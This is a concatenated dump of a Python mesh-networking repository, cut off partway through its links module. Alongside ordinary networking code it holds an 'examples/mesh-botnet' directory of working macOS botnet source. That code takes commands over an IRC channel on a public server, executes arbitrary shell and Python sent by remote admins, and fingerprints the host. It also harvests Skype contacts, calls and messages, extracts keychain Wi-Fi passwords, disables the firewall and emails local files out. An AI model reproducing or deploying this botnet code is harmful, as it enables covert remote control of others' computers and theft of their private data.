| get_hostname, 10 | get_mac_addr, 11 | get_hardware, 12 | get_power, 13 | get_uptime, 14 | get_location, 15 | ) 16 | from skype import get_skype_info 17 | 18 | from settings import VERSION 19 | 20 | def get_system_short(): 21 | platform = get_platform() 22 | main_user = get_main_user() 23 | main_user_full = get_full_username(main_user) 24 | user_str = '%s@%s' % (main_user[:14], get_hostname()[:13]) 25 | local_ips = ','.join(get_local_ips()) 26 | public_ip = get_public_ip() 27 | mac_addr = get_mac_addr() 28 | 29 | return "[v%s/x%s] %s %s l: %s p: %s MAC: %s" % ( 30 | VERSION, 31 | platform, 32 | main_user_full.ljust(20), 33 | user_str.ljust(30), 34 | local_ips.ljust(16), 35 | public_ip.ljust(16), 36 | mac_addr, 37 | ) 38 | 39 | def get_system_full(): 40 | main_user = get_main_user() 41 | main_user_full = get_full_username(main_user) 42 | 43 | yield '[+] Running v%s Identification Modules...' % VERSION 44 | yield '[>] System: %s' % get_platform() 45 | yield '[>] Bot: %s' % get_current_user() 46 | yield '[>] User: %s (%s)' % (main_user_full, main_user) 47 | yield '[>] Host: %s' % get_hostname() 48 | yield '[>] Local: %s' % ','.join(get_local_ips()) 49 | yield '[>] Public: %s' % get_public_ip() 50 | yield '[>] MAC: %s' % get_mac_addr() 51 | yield '[>] Power: %s' % get_power() 52 | yield '[>] Uptime: %s' % get_uptime() 53 | yield '[>] Location: %s' % get_location() 54 | yield from get_skype_info(main_user) 55 | yield from get_hardware() 56 | yield '[√] Done.' 57 | -------------------------------------------------------------------------------- /examples/mesh-botnet/meshbot.py: -------------------------------------------------------------------------------- 1 | """Mac botnet based on github.com/pirate/python-medusa which runs on the mesh platform""" 2 | 3 | import sys 4 | import time 5 | 6 | sys.path.append("..") 7 | 8 | # Mesh networking components 9 | from node import Node 10 | from links import IRCLink, UDPLink 11 | from programs import RoutedProgram, R 12 | from protocols import MeshIP 13 | 14 | # Bot Modules 15 | import skype 16 | import network 17 | import shell_tools 18 | import identification 19 | import communication 20 | 21 | from settings import IRC_CONNECTIONS, NICK, VERSION, MAIN_USER 22 | 23 | """ 24 | Programs for network communication, discovery, 25 | bot control, and identification are composed using inheritance, 26 | and are then run on a node and passed incoming messages. 27 | """ 28 | 29 | 30 | class SwarmBot(RoutedProgram): 31 | """Program which handles discovery and communication with other bots""" 32 | router = RoutedProgram.router 33 | 34 | def __init__(self, node): 35 | super(SwarmBot, self).__init__(node) 36 | self.NEIGHBORS = {} 37 | 38 | def parse_arp(self, packet): 39 | node_info = packet.split('IAM ')[-1] 40 | mac_addr, name = node_info.split(';') 41 | return mac_addr, name 42 | 43 | @router.route(R('^NEIGHBORS')) 44 | def get_neighbors(self, packet, interface): 45 | self.send('DISCOVER', interface) 46 | 47 | @router.route(R('^DISCOVER')) 48 | def handle_arp_discover(self, packet, interface): 49 | self.send('IAM %s;%s' % (self.node.mac_addr, self.node.name), interface) 50 | 51 | @router.route(R('^IAM')) 52 | def handle_arp_reply(self, packet, interface): 53 | mac_addr, name = self.parse_arp(packet) 54 | self.NEIGHBORS[name] = mac_addr 55 | self.send('FRIENDS: %s' % self.NEIGHBORS, interface) 56 | 57 | 58 | class MacBot(SwarmBot): 59 | """Program to accept and run common botnet commands on Mac OS X computers""" 60 | router = SwarmBot.router 61 | 62 | def __init__(self, node): 63 | node.name = NICK 64 | super(MacBot, self).__init__(node) 65 | 66 | @router.route(R('^!?reload')) 67 | def reload(self, message, interface): 68 | self.send('[*] Disconnecting...', interface) 69 | interface.stop() 70 | self.node.interfaces.remove(interface) 71 | 72 | interface = interface.__class__(interface.name, interface.port) 73 | interface.start() 74 | self.node.interfaces.append(interface) 75 | 76 | self.send('[√] Reconnected.', interface) 77 | 78 | @router.route(R('^!?version')) 79 | def get_version(self, message, interface): 80 | self.send(VERSION, interface) 81 | 82 | @router.route(R('^!?identify')) 83 | def identify(self, message, interface): 84 | self.send(identification.get_system_short(), interface) 85 | 86 | @router.route(R('^!?details')) 87 | def host_details(self, message, interface): 88 | self.send(identification.get_system_full(), interface) 89 | 90 | @router.route(R('^!?locate')) 91 | def locate(self, message, interface): 92 | self.send(str(geo_locate()), interface) 93 | 94 | @router.route(R('^!?status')) 95 | def status(self, message, interface): 96 | self.send(interface, interface) 97 | 98 | @router.route(R('^!?admin')) 99 | def make_admin(self, message, interface): 100 | global ADMINS 101 | to_make_admin = message.split('admin ', 1)[1].strip() 102 | if to_make_admin and to_make_admin not in ADMINS: 103 | ADMINS.append(to_make_admin) 104 | self.send('ADMINS: %s' % ','.join(ADMINS), interface) 105 | 106 | @router.route(R('^!?unadmin')) 107 | def unmake_admin(self, message, interface): 108 | global ADMINS 109 | to_unmake_admin = message.split('unadmin ', 1)[1].strip() 110 | ADMINS.remove(to_unmake_admin) 111 | self.send('ADMINS: %s' % ','.join(ADMINS), interface) 112 | 113 | @router.route(R('^\>\>\>')) 114 | def eval_python(self, message, interface): 115 | result = shell_tools.run_python(message[3:]) 116 | self.send(result, interface) 117 | 118 | @router.route(R('^\$')) 119 | def eval_shell(self, message, interface): 120 | result = shell_tools.run_shell(message[1:]) 121 | self.send(result, interface) 122 | 123 | @router.route(R('^!?skype$')) 124 | def skype_info(self, message, interface): 125 | for line in skype.get_profile_info(skype.find_profiles(MAIN_USER)): 126 | self.send(line, interface) 127 | 128 | @router.route(R('^!?skype_contacts$')) 129 | def skype_contacts(self, message, interface): 130 | for line in skype.get_contacts(skype.find_profiles(MAIN_USER)): 131 | self.send(line, interface) 132 | 133 | @router.route(R('^!?skype_calls$')) 134 | def skype_calls(self, message, interface): 135 | for line in skype.get_calls(skype.find_profiles(MAIN_USER)): 136 | self.send(line, interface) 137 | 138 | @router.route(R('^!?portscan')) 139 | def portscan(self, message, interface): 140 | for line in network.portscan(): 141 | self.send(line, interface) 142 | 143 | @router.route(R('^!?email')) 144 | def email(self, message, interface): 145 | target = 'bot-test@sweeting.me' 146 | attachments = ['/Users/squash/.stats/commands.csv'] 147 | result = communication.email(target, attachments=attachments) 148 | self.send(result, interface) 149 | 150 | 151 | def setup(): 152 | connections = [IRCLink(**config) for config in IRC_CONNECTIONS] # production 153 | connections += [UDPLink('en1', 2012)] # development 154 | node = Node(connections, NICK, Program=MacBot) 155 | 156 | [conn.start() for conn in connections] 157 | node.start() 158 | 159 | return node, connections 160 | 161 | 162 | def runloop(node, connections): 163 | try: 164 | while True: 165 | message = input("\nEVAL:".ljust(31)) 166 | print("------------------------------" + len(message) * '=') 167 | node.recv(bytes(message, 'UTF-8'), connections[0]) 168 | time.sleep(0.1) 169 | 170 | except (EOFError, KeyboardInterrupt): # CTRL-D, CTRL-C 171 | node.stop() 172 | [conn.stop() for conn in connections] 173 | 174 | 175 | if __name__ == '__main__': 176 | node, connections = setup() 177 | runloop(node, connections) 178 | -------------------------------------------------------------------------------- /examples/mesh-botnet/network.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import time, socket 4 | 5 | def portscan(host='127.0.0.1', max_port=1000): 6 | yield 'Starting Singlethreaded Portscan of %s.' % host 7 | benchmark = time.time() 8 | try: 9 | remoteServerIP = socket.gethostbyname(host) 10 | except Exception as e: 11 | yield e 12 | 13 | ports = [] 14 | for port in range(1,max_port): 15 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | if s.connect_ex((remoteServerIP, port)) == 0: 17 | ports.append(port) 18 | yield port 19 | s.close() 20 | 21 | yield ports 22 | yield 'Finished Scan in %ss.' % str(round(time.time() - benchmark,2)) 23 | 24 | 25 | def power_on_wifi(iface='en0'): 26 | return run_cmd('networksetup -setairportpower %s on' % iface) 27 | 28 | def current_wifi(): 29 | return run_cmd("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | awk '/ SSID/ {print substr($0, index($0, $2))}'") 30 | 31 | def list_wifis(): 32 | return run_cmd('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport --scan') 33 | 34 | def join_wifi(name, password='', iface='en0'): 35 | return run_cmd('networksetup -setairportnetwork %s %s %s' % (iface, name, password)) 36 | 37 | def get_wifi_password(name): 38 | """WARNING: prompts the user for their keychain password, but the prompt is very generic""" 39 | return run_cmd('security find-generic-password -D "AirPort network password" -a "%s" -gw' % name) 40 | 41 | def disable_firewall(): 42 | return run_cmd('sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off') 43 | -------------------------------------------------------------------------------- /examples/mesh-botnet/settings.py: -------------------------------------------------------------------------------- 1 | """Bot config""" 2 | 3 | import getpass 4 | import os 5 | import socket 6 | 7 | from system_info import ( 8 | get_hostname, 9 | get_platform, 10 | get_current_user, 11 | get_main_user, 12 | get_full_username, 13 | get_irc_nickname, 14 | ) 15 | 16 | 17 | ### System Info 18 | HOSTNAME = get_hostname() 19 | SYSTEM = get_platform() 20 | LOCAL_USER = get_current_user() 21 | MAIN_USER = get_main_user() 22 | MAIN_USER_FULL = get_full_username(MAIN_USER) 23 | 24 | 25 | 26 | ### Bot IRC Setup 27 | VERSION = '8.4' 28 | ADMINS = ['thesquash'] 29 | NICK = get_irc_nickname(MAIN_USER_FULL) 30 | 31 | IRC_CONNECTIONS = [ 32 | {'server': 'irc.freenode.net', 'port': 6667, 'channel': '##medusa', 'nick': NICK}, 33 | ] 34 | -------------------------------------------------------------------------------- /examples/mesh-botnet/shell_tools.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from io import StringIO 3 | from subprocess import Popen, PIPE, STDOUT 4 | 5 | def run_cmd(command, verbose=True, shell='/bin/bash'): 6 | """internal helper function to run shell commands and get output""" 7 | process = Popen(command, shell=True, stdout=PIPE, stderr=STDOUT, executable=shell) 8 | output = process.stdout.read().decode().strip().split('\n') 9 | if verbose: 10 | # return full output including empty lines 11 | return output 12 | return [line for line in output if line.strip()] 13 | 14 | def run_python(cmd, timeout=60): 15 | """interactively interpret recieved python code""" 16 | try: 17 | try: 18 | buffer = StringIO() 19 | sys.stdout = buffer 20 | exec(cmd) 21 | sys.stdout = sys.__stdout__ 22 | out = buffer.getvalue() 23 | except Exception as error: 24 | out = error 25 | 26 | out = str(out).strip() 27 | 28 | if len(out) < 1: 29 | try: 30 | out = "[eval]: "+str(eval(cmd)) 31 | except Exception as error: 32 | out = "[eval]: "+str(error) 33 | else: 34 | out = "[exec]: "+out 35 | 36 | except Exception as python_exception: 37 | out = "[X]: %s" % python_exception 38 | 39 | return out.strip() 40 | 41 | def run_shell(cmd, timeout=60, verbose=False): 42 | """run a shell command and return the output, verbose enables live command output via yield""" 43 | retcode = None 44 | try: 45 | p = Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT, executable='/bin/bash') 46 | continue_running = True 47 | except Exception as e: 48 | yield("Failed: %s" % e) 49 | continue_running = False 50 | 51 | while continue_running: 52 | try: 53 | line = p.stdout.readline() 54 | if verbose and line: 55 | yield(line) 56 | elif line.strip(): 57 | yield(line.strip()) 58 | except Exception: 59 | pass 60 | 61 | try: 62 | data = irc.recv(4096) 63 | except Exception as e: 64 | data = "" 65 | retcode = p.poll() # returns None while subprocess is running 66 | 67 | if '!cancel' in data: 68 | retcode = "Cancelled live output reading. You have to kill the process manually." 69 | yield "[X]: %s" % retcode 70 | break 71 | 72 | elif retcode is not None: 73 | try: 74 | line = p.stdout.read() 75 | except: 76 | retcode = "Too much output, read timed out. Process is still running in background." 77 | 78 | if verbose and line: 79 | yield line 80 | 81 | if retcode != 0: 82 | yield "[X]: %s" % retcode 83 | elif retcode == 0 and verbose: 84 | yield "[√]" 85 | 86 | break 87 | -------------------------------------------------------------------------------- /examples/mesh-botnet/skype.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | 3 | from shell_tools import run_cmd 4 | 5 | def get_skype_info(main_user): 6 | try: 7 | db_path = find_profiles(main_user) 8 | yield '[>] Skype:' 9 | for line in get_profile_info(db_path): 10 | yield '[>] %s' % line 11 | except Exception: 12 | yield '[>] Skype: None Found.' 13 | 14 | def find_profiles(user=None): 15 | if user and user != "root": 16 | paths = run_cmd("find /Users/%s/Library/Application\ Support/Skype -name 'main.db'" % user) 17 | else: 18 | paths = run_cmd("find /*/*/Users/*/Library/Application\ Support/Skype -name 'main.db'") 19 | root_skypes = run_cmd("find /var/root/Library/Application\ Support/Skype -name 'main.db'") 20 | paths.extend([path for path in root_skypes if path]) 21 | return paths 22 | 23 | def get_profile_info(skype_dbs): 24 | for DB in skype_dbs: 25 | conn = sqlite3.connect(DB) 26 | c = conn.cursor() 27 | c.execute("SELECT fullname, skypename, city, country, datetime(profile_timestamp,'unixepoch') FROM Accounts;") 28 | for row in c: 29 | yield '[*] -- %s --' % str(row[1]) 30 | yield '[+] Name: ' + str(row[0]) 31 | yield '[+] Location: ' + str(row[2]) + ',' + str(row[3]) 32 | yield '[+] Profile Date: ' + str(row[4]) 33 | 34 | def get_contacts(skype_dbs): 35 | for DB in skype_dbs: 36 | conn = sqlite3.connect(DB) 37 | c = conn.cursor() 38 | c.execute("SELECT displayname, skypename, city, country, phone_mobile, birthday FROM Contacts;") 39 | for row in c: 40 | name, username = row[0], row[1] 41 | location = row[2], row[3] 42 | mobile, birthday = row[4], row[5] 43 | 44 | yield '\n[*] -- %s --' % row[1] 45 | yield '[+] Name : %s' % row[0] 46 | if location[0] or location[1]: 47 | yield '[+] Location : %s,%s' % location 48 | if mobile: 49 | yield '[+] Mobile Number : %s' % mobile 50 | if birthday: 51 | yield '[+] Birthday : %s' % birthday 52 | 53 | def get_calls(skype_dbs): 54 | for DB in skype_dbs: 55 | conn = sqlite3.connect(DB) 56 | c = conn.cursor() 57 | c.execute("SELECT * FROM calls, conversations;") 58 | 59 | yield '\n[*] -- Found Calls --' 60 | for row in c: 61 | yield '[+] %s (%ss)' % (row[1], row[0]) 62 | 63 | def get_messages(skype_dbs): 64 | for DB in skype_dbs: 65 | conn = sqlite3.connect(DB) 66 | c = conn.cursor() 67 | c.execute("SELECT datetime(timestamp,'unixepoch'), dialog_partner, author, body_xml FROM Messages;") 68 | messages = []; 69 | for row in c: 70 | try: 71 | if row[2] == row[1]: 72 | tofrom = '[%s] From[%s] To[%s]: ' % (row[0], row[2], 'user') 73 | else: 74 | tofrom = '[%s] From[%s] To[%s]: ' % (row[0], 'user', row[1]) 75 | messages.append(tofrom.ljust(70)+row[3]) 76 | except: 77 | pass 78 | return messages 79 | 80 | def purge_messages(skype_dbs, conversation_partner): 81 | for DB in skype_dbs: 82 | conn = sqlite3.connect(DB) 83 | c = conn.cursor() 84 | c.execute("SELECT datetime(timestamp,'unixepoch'), dialog_partner, author, body_xml FROM Messages WHERE dialog_partner = '%s'" % conversation_partner) 85 | c.execute("DELETE FROM messages WHERE skypename = '%s'" % conversation_partner) 86 | -------------------------------------------------------------------------------- /examples/mesh-botnet/system_info.py: -------------------------------------------------------------------------------- 1 | import getpass 2 | import platform 3 | import socket 4 | import uuid 5 | 6 | from shell_tools import run_cmd 7 | 8 | ### System 9 | def get_platform(): 10 | """get Mac OS X version or kernel version if mac version is not found""" 11 | mac_version = str(platform.mac_ver()[0]).strip() # e.g. 10.11.2 12 | if mac_version: 13 | return 'OS X %s' % mac_version 14 | return platform.platform().strip() # e.g. Darwin-15.4.0-x86_64-i386-64bit 15 | 16 | def get_current_user(): 17 | """guess the username this program is running under""" 18 | return getpass.getuser() 19 | 20 | def get_main_user(): 21 | """guess the primary user of the computer who is currently logged in""" 22 | # Guess main user by seeing who is currently running Finder.app 23 | main_user = run_cmd("ps aux | grep CoreServices/Finder.app | head -1 | awk '{print $1}'")[0] 24 | 25 | if not main_user or main_user == 'root': 26 | # fallback to guess main user by seeing who owns the console file 27 | main_user = run_cmd("stat -f '%Su' /dev/console")[0] 28 | 29 | return main_user 30 | 31 | def get_full_username(user): 32 | """sarah -> Sarah J. Connor""" 33 | full_name = run_cmd("finger %s | awk -F: '{ print $3 }' | head -n1 | sed 's/^ //'" % user)[0] 34 | return full_name or user 35 | 36 | def get_hardware(): 37 | """detailed hardware overview from system profiler""" 38 | return run_cmd('system_profiler SPHardwareDataType', verbose=False)[1:] 39 | 40 | def get_power(): 41 | """detect whether computer is plugged in""" 42 | return run_cmd("system_profiler SPPowerDataType | grep -q Connected && echo 'Connected' || echo 'Disconnected'")[0] 43 | 44 | def get_uptime(): 45 | return run_cmd('uptime')[0] 46 | 47 | ### Networking 48 | def get_hostname(): 49 | return socket.gethostname() 50 | 51 | def get_local_ips(): 52 | """parse ifconfig for all the computer's local IP addresses""" 53 | local_ips = run_cmd(r"ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'") 54 | local_ips.remove('127.0.0.1') 55 | return local_ips 56 | 57 | def get_public_ip(): 58 | """get the computer's current public IP by querying the opendns public ip resolver""" 59 | return run_cmd('dig +short myip.opendns.com @resolver1.opendns.com')[0] 60 | 61 | def get_mac_addr(): 62 | """get the computer's current internet-facing MAC address""" 63 | return ':'.join([ 64 | '{:02x}'.format((uuid.getnode() >> i) & 0xff) 65 | for i in range(0,8*6,8) 66 | ][::-1]) 67 | 68 | def get_irc_nickname(full_name): 69 | """Sarah J. Connor -> [SarahJ.Connor]""" 70 | return '[%s]' % full_name.replace(" ", "")[:14] 71 | 72 | def get_location(): 73 | """guess the computer's current geolocation based on IP address""" 74 | # geo_info = geo_locate() 75 | # location = geo_info[0]+", "+geo_info[1]+" ("+str(geo_info[4])+", "+str(geo_info[5])+")" 76 | return 'Atlanta' 77 | 78 | 79 | def add_gatekeeper_exception(app_path): 80 | """WARNING: big scary password prompt is shown to the current active user""" 81 | return run_cmd('spctl --add "%s"' % app_path) 82 | 83 | def lock_screen(): 84 | return run_cmd('/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend') 85 | 86 | def screensaver(): 87 | return run_cmd('open /System/Library/Frameworks/ScreenSaver.framework/Versions/A/Resources/ScreenSaverEngine.app') 88 | -------------------------------------------------------------------------------- /examples/small_network.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # MIT Liscence : Nick Sweeting 3 | 4 | from time import sleep 5 | 6 | from mesh.links import VirtualLink, UDPLink 7 | from mesh.programs import Switch, Printer 8 | from mesh.filters import DuplicateFilter, StringFilter 9 | from mesh.node import Node 10 | 11 | 12 | # ls = (UDPLink('en0', 2014), VirtualLink('vl1'), VirtualLink('vl2'), IRCLink('irc3'), UDPLink('en4', 2016), IRCLink('irc5')) # slow, but impressive to connect over IRC 13 | ls = (UDPLink('en0', 2010), VirtualLink('vl1'), VirtualLink('vl2'), UDPLink('irc3', 2013), UDPLink('en4', 2014), UDPLink('irc5', 2013)) # faster setup for quick testing 14 | nodes = ( 15 | Node([ls[0]], 'start'), 16 | Node([ls[0], ls[2]], 'l1', Program=Switch), 17 | Node([ls[0], ls[1]], 'r1', Program=Switch), 18 | Node([ls[2], ls[3]], 'l2', Filters=(DuplicateFilter,), Program=Switch), # l2 wont forward two of the same packet in a row 19 | Node([ls[1], ls[4]], 'r2', Filters=(StringFilter.match(b'red'),), Program=Switch), # r2 wont forward any packet unless it contains the string 'red' 20 | Node([ls[4], ls[5]], 'end', Program=Printer), 21 | ) 22 | [l.start() for l in ls] 23 | [n.start() for n in nodes] 24 | 25 | 26 | if __name__ == "__main__": 27 | print("Using a mix of real and vitual links to make a little network...\n") 28 | print(" /[r1]<--vlan1-->[r2]<----vlan4---\\") 29 | print("[start]-en0 [end]") 30 | print(" \[l1]<--vlan2-->[l2]<--irc3:irc5-/\n") 31 | 32 | 33 | print('\n', nodes) 34 | print("l2 wont forward two of the same packet in a row.") 35 | print("r2 wont forward any packet unless it contains the string 'red'.") 36 | print("Experiment by typing packets for [start] to send out, and seeing if they make it to the [end] node.") 37 | 38 | try: 39 | while True: 40 | print("------------------------------") 41 | message = input("[start] OUT:".ljust(49)) 42 | nodes[0].send(bytes(message, 'UTF-8')) 43 | sleep(1) 44 | 45 | except (EOFError, KeyboardInterrupt): # CTRL-D, CTRL-C 46 | print(("All" if all([n.stop() for n in nodes]) else 'Not all') + " nodes stopped cleanly.") 47 | print(("All" if all([l.stop() for l in ls]) else 'Not all') + " links stopped cleanly.") 48 | -------------------------------------------------------------------------------- /mesh/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pirate/mesh-networking/7799cf2c86816eaa3a2fa169fae1c3f765bfb7fb/mesh/__init__.py -------------------------------------------------------------------------------- /mesh/filters.py: -------------------------------------------------------------------------------- 1 | from collections import defaultdict 2 | import time 3 | import random 4 | import hashlib 5 | 6 | class BaseFilter: 7 | """Filters work just like iptables filters, they are applied in order to all incoming and outgoing packets 8 | Filters can return a modified packet, or None to drop it 9 | """ 10 | 11 | # stateless filters use classmethods, stateful filters should add an __init__ 12 | @classmethod 13 | def tr(self, packet, interface): 14 | """tr is shorthand for receive filter method 15 | incoming node packets are filtered through this function before going in the inq 16 | """ 17 | return packet 18 | @classmethod 19 | def tx(self, packet, interface): 20 | """tx is send filter method 21 | outgoing node packets are filtered through this function before being sent to the link 22 | """ 23 | return packet 24 | 25 | class DuplicateFilter(BaseFilter): 26 | """filter sending/receiving duplicates of the same packet in a row. 27 | 28 | This is an example of a stateful filter, it needs to remember 29 | last_sent and last_recv between packet recvs. 30 | """ 31 | def __init__(self): 32 | self.last_sent = defaultdict(str) # defaults to "" 33 | self.last_recv = defaultdict(str) 34 | 35 | def tr(self, packet, interface): 36 | if not packet or packet == self.last_recv[interface]: 37 | return None 38 | else: 39 | self.last_recv[interface] = packet 40 | return packet 41 | 42 | def tx(self, packet, interface): 43 | if not packet or packet == self.last_sent[interface]: 44 | return None 45 | else: 46 | self.last_sent[interface] = packet 47 | return packet 48 | 49 | class LoopbackFilter(BaseFilter): 50 | """Filter recv copies of packets that the node just sent out. 51 | Needed whenever your node is connected to a BROADCAST link where all packets go to everyone. 52 | """ 53 | def __init__(self): 54 | self.sent_hashes = defaultdict(int) # defaults to 0 55 | # serves as a counter. each packet is hashed, 56 | # if we see that hash sent once we can ignore one received copy, 57 | # if we send it twice on two ifaces, we can ignore two received copies 58 | 59 | def tr(self, packet, interface): 60 | if not packet: return None 61 | elif self.sent_hashes[hash(packet)] > 0: 62 | self.sent_hashes[hash(packet)] -= 1 63 | return None 64 | else: 65 | return packet 66 | 67 | def tx(self, packet, interface): 68 | if not packet: return None 69 | else: 70 | self.sent_hashes[hash(packet)] += 1 71 | return packet 72 | 73 | class UniqueFilter(BaseFilter): 74 | def __init__(self): 75 | self.seen = set() 76 | 77 | @staticmethod 78 | def hash(string): 79 | return hashlib.md5(string).hexdigest() 80 | 81 | def tr(self, packet, interface): 82 | if not packet: 83 | return None 84 | 85 | packet_hash = self.hash(packet) 86 | if packet_hash in self.seen: 87 | return None 88 | else: 89 | self.seen.add(packet_hash) 90 | return packet 91 | 92 | def tx(self, packet, interface): 93 | if not packet: 94 | return None 95 | 96 | packet_hash = self.hash(packet) 97 | self.seen.add(packet_hash) 98 | return packet 99 | 100 | class StringFilter(BaseFilter): 101 | """Filter for packets that contain a string pattern. 102 | Node('mynode', Filters=[StringFilter.match('pattern'), ...]) 103 | """ 104 | def tr(self, packet, interface): 105 | if not packet: return None 106 | if not self.inverse: 107 | return packet if self.pattern in packet else None 108 | else: 109 | return packet if self.pattern not in packet else None 110 | 111 | @classmethod 112 | def match(cls, pattern, inverse=False): 113 | """Factory method to create a StringFilter which filters with the given pattern.""" 114 | string_pattern = pattern 115 | invert_search = inverse 116 | 117 | class DefinedStringFilter(cls): 118 | pattern = string_pattern 119 | inverse = invert_search 120 | return DefinedStringFilter 121 | 122 | @classmethod 123 | def dontmatch(cls, pattern): 124 | return cls.match(pattern, inverse=True) 125 | -------------------------------------------------------------------------------- /mesh/links.py: -------------------------------------------------------------------------------- 1 | import threading 2 | 3 | try: 4 | from queue import Queue, Empty 5 | except ImportError: 6 | from Queue import Queue, Empty 7 | 8 | from time import sleep 9 | from random import randint 10 | from collections import defaultdict 11 | 12 | import select 13 | from socket import socket, AF_INET, SOCK_DGRAM, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR, SO_BROADCAST 14 | 15 | try: 16 | # needed for BSD systems like macOS 17 | from socket import SO_REUSEPORT 18 | IS_BSD = True 19 | except: 20 | # not needed on non-BSD systems (e.g. linux) 21 | IS_BSD = False 22 | 23 | 24 | class VirtualLink: 25 | """A Link represents a network link between Nodes. 26 | Nodes.interfaces is a list of the [Link]s that it's connected to. 27 | Some links are BROADCAST (all connected nodes get a copy of all packets), 28 | others are UNICAST (you only see packets directed to you), or 29 | MULTICAST (you can send packets to several people at once). 30 | Some links are virtual, others actually send the traffic over UDP or IRC. 31 | Give two nodes the same VirtualLink() object to simulate connecting them with a cable.""" 32 | broadcast_addr = "00:00:00:00:00:00:00" 33 | 34 | def __init__(self, name="vlan1"): 35 | self.name = name 36 | self.keep_listening = True 37 | 38 | # buffer for receiving incoming packets 39 | self.inq = defaultdict(Queue) # mac_addr: [packet1, packet2, ...] 40 | self.inq[self.broadcast_addr] = Queue() 41 | 42 | ### Utilities 43 | 44 | def __repr__(self): 45 | return "<%s>" % self.name 46 | 47 | def __str__(self): 48 | return self.__repr__() 49 | 50 | def __len__(self): 51 | """number of nodes listening for packets on this link""" 52 | return len(self.inq) 53 | 54 | def log(self, *args): 55 | """stdout and stderr for the link""" 56 | print("%s %s" % (str(self).ljust(8), " ".join([str(x) for x in args]))) 57 | 58 | ### Runloop 59 | 60 | def start(self): 61 | """all links need to have a start() method because threaded ones use it start their runloops""" 62 | self.log("ready.") 63 | return True 64 | 65 | def stop(self): 66 | """all links also need stop() to stop their runloops""" 67 | self.keep_listening = False 68 | # if threaded, kill threads before going down 69 | if hasattr(self, 'join'): 70 | self.join() 71 | self.log("Went down.") 72 | return True 73 | 74 | ### IO 75 | 76 | def recv(self, mac_addr=broadcast_addr, timeout=0): 77 | """read packet off the recv queue for a given address, optional timeout to block and wait for packet""" 78 | # recv on the broadcast address "00:..:00" will give you all packets (for promiscuous mode) 79 | if self.keep_listening: 80 | try: 81 | return self.inq[str(mac_addr)].get(timeout=timeout) 82 | except Empty: 83 | return "" 84 | else: 85 | self.log("is down.") 86 | 87 | def send(self, packet, mac_addr=broadcast_addr): 88 | """place sent packets directly into the reciever's queues (as if they are connected by wire)""" 89 | if self.keep_listening: 90 | if mac_addr == self.broadcast_addr: 91 | for addr, recv_queue in self.inq.items(): 92 | recv_queue.put(packet) 93 | else: 94 | self.inq[mac_addr].put(packet) 95 | self.inq[self.broadcast_addr].put(packet) 96 | else: 97 | self.log("is down.") 98 | 99 | class UDPLink(threading.Thread, VirtualLink): 100 | """This link sends all traffic as BROADCAST UDP packets on all physical ifaces. 101 | Connect nodes on two different laptops to a UDPLink() with the same port and they will talk over wifi or ethernet. 102 | """ 103 | 104 | def __init__(self, name="en0", port=2016): 105 | # UDPLinks have to be run in a seperate thread 106 | # they rely on the infinite run() loop to read packets out of the socket, which would block the main thread 107 | threading.Thread.__init__(self) 108 | VirtualLink.__init__(self, name=name) 109 | self.port = port 110 | # self.log("starting...") 111 | self._initsocket() 112 | 113 | def __repr__(self): 114 | return "<" + self.name + ">" 115 | 116 | def _initsocket(self): 117 | """bind to the datagram socket (UDP), and enable BROADCAST mode""" 118 | self.send_socket = socket(AF_INET, SOCK_DGRAM) 119 | self.send_socket.setblocking(0) 120 | self.send_socket.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) 121 | 122 | self.recv_socket = socket(AF_INET, SOCK_DGRAM) 123 | self.recv_socket.setblocking(0) 124 | if IS_BSD: 125 | self.recv_socket.setsockopt(SOL_SOCKET, SO_REUSEPORT, 1) # requires sudo 126 | self.recv_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) # allows multiple UDPLinks to all listen for UDP packets 127 | self.recv_socket.bind(('', self.port)) 128 | 129 | ### Runloop 130 | 131 | def run(self): 132 | """runloop that reads incoming packets off the interface into the inq buffer""" 133 | # self.log("ready to receive.") 134 | # we use a runloop instead of synchronous recv so stopping the node mid-recv is possible 135 | read_ready = None 136 | 137 | while self.keep_listening: 138 | try: 139 | read_ready, w, x = select.select([self.recv_socket], [], [], 0.01) 140 | except Exception: 141 | # catch timeouts 142 | pass 143 | 144 | if read_ready: 145 | packet, addr = read_ready[0].recvfrom(4096) 146 | if addr[1] == self.port: 147 | # for each address listening to this link 148 | for mac_addr, recv_queue in self.inq.items(): 149 | recv_queue.put(packet) # put packet in node's recv queue 150 | else: 151 | pass # not meant for us, it was sent to a different port 152 | 153 | ### IO 154 | 155 | def send(self, packet, retry=True): 156 | """send a packet down the line to the inteface""" 157 | addr = ('255.255.255.255', self.port) # 255. is the broadcast IP for UDP 158 | try: 159 | self.send_socket.sendto(packet, addr) 160 | except Exception as e: 161 | self.log("Link failed to send packet over socket %s" % e) 162 | sleep(0.2) 163 | if retry: 164 | self.send(packet, retry=False) 165 | 166 | class IRCLink(threading.Thread, VirtualLink): 167 | """This link connects to an IRC channel and uses it to simulate a BROADCAST connection over the internet. 168 | Connect nodes on different computers to an IRCLink on the same channel and they will talk over the internet.""" 169 | def __init__(self, name='irc1', server='irc.freenode.net', port=6667, channel='##medusa', nick='bobbyTables'): 170 | threading.Thread.__init__(self) 171 | VirtualLink.__init__(self, name=name) 172 | self.name = name 173 | self.server = server 174 | self.port = port 175 | self.channel = channel 176 | self.nick = nick if nick != 'bobbyTables' else 'bobbyTables' + str(randint(1, 1000)) 177 | self.log("starting...") 178 | self._connect() 179 | self._join_channel() 180 | self.log("irc channel connected.") 181 | 182 | def __repr__(self): 183 | return "<"+self.name+">" 184 | 185 | def stop(self): 186 | self.net_socket.send(b"QUIT\r\n") 187 | VirtualLink.stop(self) 188 | 189 | def _parse_msg(self, msg): 190 | if b"PRIVMSG" in 